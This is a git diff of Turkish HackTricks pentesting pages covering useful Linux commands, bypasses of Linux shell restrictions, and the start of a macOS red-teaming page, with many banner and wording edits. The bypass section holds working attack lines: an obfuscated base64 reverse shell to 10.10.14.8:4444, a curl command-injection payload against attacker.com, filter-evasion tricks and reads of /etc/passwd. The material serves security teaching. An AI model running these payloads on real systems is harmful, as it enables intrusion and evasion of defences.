* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Ortak Bash
```bash
@ -171,8 +172,9 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
Grep, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir araçtır. Aşağıdaki komut, `grep` komutunu kullanarak belirli bir deseni aramak için kullanılır:
Grep, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir araçtır. Grep komutu, bir dosyadaki belirli bir metin desenini aramak için kullanılır.
Örnek Kullanım:
```bash
grep "pattern" file.txt
```
@ -292,10 +294,14 @@ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | gre
nmap --script-help "(default or version) and smb)"
```
## Bash
Bash, Bourne Again Shell'in kısaltmasıdır ve Linux sistemlerinde en yaygın kullanılan kabuk (shell) programıdır. Bash, komutları çalıştırmak, betik dosyalarını yönetmek ve sistemle etkileşimde bulunmak için kullanılır. Bash'in güçlü bir betikleme diline sahip olması ve geniş bir komut yelpazesine sahip olması, sistem yöneticileri ve güvenlik uzmanları arasında popüler olmasını sağlar.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
## Iptables
```bash
#Delete curent rules and chains
@ -327,24 +333,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,26 +1,27 @@
# Kullanışlı Linux Komutları
# Faydalı Linux Komutları
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Ortak Bash
```bash
@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,34 +172,17 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
### Grep
### Tanım
`grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır.
Örnek Kullanım:
### Kullanım
```bash
grep "kelime" dosya.txt
grep "aranacak_metin" dosya_adı
```
### Grep with line number
`-n` bayrağı, eşleşen satırların numaralarını gösterir.
Örnek Kullanım:
### Örnek
```bash
grep -n "kelime" dosya.txt
```
### Grep with case insensitive
`-i` bayrağı, büyük/küçük harf duyarlılığını devre dışı bırakır.
Örnek Kullanım:
```bash
grep -i "kelime" dosya.txt
grep "hacker" belge.txt
```
```bash
#Extract emails from file
@ -280,33 +264,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Bul
### `find`
`find` komutu, dosya sisteminizde belirli kriterlere göre dosyaları aramanıza ve bulmanıza olanak tanır.
#### Kullanımı
```bash
find /path/to/search -name "filename"
```
- `/path/to/search`: Aramak istediğiniz dizinin yolu
- `-name "filename"`: Aramak istediğiniz dosyanın adı
#### Örnekler
- `/etc` dizininde `passwd` dosyasını bulma:
```bash
find /etc -name "passwd"
```
- `/home` dizininde `.txt` uzantılı dosyaları bulma:
```bash
find /home -name "*.txt"
```
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -344,16 +301,14 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
## Bash
Bash, Bourne Again Shell'in kısaltmasıdır ve Linux sistemlerinde en yaygın kullanılan kabuk (shell) programıdır. Bash, komutları çalıştırmak, betik dosyalarını çalıştırmak, dosya yönetimi yapmak ve daha birçok işlemi gerçekleştirmek için kullanılır. Bash'in güçlü bir komut yorumlayıcısı olduğu ve geniş bir komut setine sahip olduğu bilinmektedir.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
### İptables Hakkında
İptables, Linux işletim sisteminde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Bu araç, ağ trafiğini kontrol etmek ve yönlendirmek için kullanılır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve portu değiştirme gibi işlemleri gerçekleştirebilir. Güvenlik duvarı kurallarını yapılandırmak için genellikle komut satırı arayüzü kullanılır.
Iptables, Linux tabanlı sistemlerde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Iptables, gelen ve giden ağ trafiğini kontrol etmek için kullanılır ve sistem güvenliğini artırmak için oldukça etkilidir. Bu araç sayesinde ağ trafiğini filtreleyebilir, yönlendirebilir ve engelleyebilirsiniz.
```bash
#Delete curent rules and chains
iptables --flush
@ -384,24 +339,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
Öğren ve AWS Hacking pratiği yap:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Öğren ve GCP Hacking pratiği yap: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunda bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekle</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katıl veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip et**.
* **Hacking püf noktalarını paylaşmak için PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **otomatikleştirilmiş iş akışları** oluşturmanın keyfini çıkarın.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,23 +1,24 @@
# Linux Kısıtlamalarını Atlatma
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,7 +31,7 @@ Bugün Erişim Alın:
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Kısa Rev kabuk
### Kısa Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
@ -38,7 +39,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Yolları Atlayın ve yasaklanan kelimeleri geçin
### Yolları Geçme ve yasaklı kelimeler
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -131,7 +132,7 @@ uname!-1\-a # This equals to uname -a
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Boruları Atla
### Boruları atlayın
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
@ -155,12 +156,6 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Ortam Değişkenlerinden Karakter Alma
```bash
$ echo ${!A*}
```
Bu komut, ortam değişkenlerinden karakterleri almak için kullanılır.
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -169,10 +164,10 @@ echo ${PATH:0:1} #/
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
### Yerleşik Fonksiyonlar
### Dahili Komutlar
Dış fonksiyonları yürütemediğiniz durumlarda ve yalnızca **sınırlı bir yerleşik fonksiyon kümesine erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz** var:
Dış işlevleri yürütemez ve yalnızca bir **sınırlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanışlı hileler vardır**. Genellikle **tüm dahili komutları kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**kabuk dahili komutlarını**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra işte size bazı **tavsiyeler**:
```bash
# Get list of builtins
declare builtins
@ -235,8 +230,6 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1%0a`curl http://attacker.com`
```
### Bashfuscator
Bashfuscator, Bash kısıtlamalarını atlamak için kullanılan bir araçtır. Bu araç, Bash kodunu anlaşılması zor hale getirerek güvenlik önlemlerini atlamayı amaçlar. Bashfuscator, Bash betiklerini çalıştırmak için gerekli olan işlevselliği korurken, kodun okunabilirliğini azaltır. Bu sayede, güvenlik duvarları veya diğer kısıtlamaları atlamak için kullanılabilir.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
@ -323,15 +316,15 @@ ln /f*
'sh x'
'sh g'
```
## Salt-Okuma/Noexec/Distroless Atlatma
## Salt-Okunur/Noexec/Distroless Atlatma
Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
Eğer **salt-okunur ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteynerdeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot ve Diğer Hapishaneleri Atlatma
## Chroot ve Diğer Hapisaneler Atlatma
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -347,21 +340,22 @@ Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya h
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

File diff suppressed because one or more lines are too long

View file

@ -1,27 +1,28 @@
# macOS Kırmızı Takım
# macOS Red Teaming
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
- **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## MDM'leri Kötüye Kullanma
- JAMF Pro: `jamf checkJSSConnection`
- Kandji
* JAMF Pro: `jamf checkJSSConnection`
* Kandji
Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **potansiyel olarak tüm bilgisayarları tehlikeye atabilirsiniz**.
MacOS ortamlarında kırmızı takım için MDM'lerin nasıl çalıştığını anlamanız şiddetle tavsiye edilir:
MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığı hakkında bir anlayışa sahip olmanız şiddetle tavsiye edilir:
{% content-ref url="macos-mdm/" %}
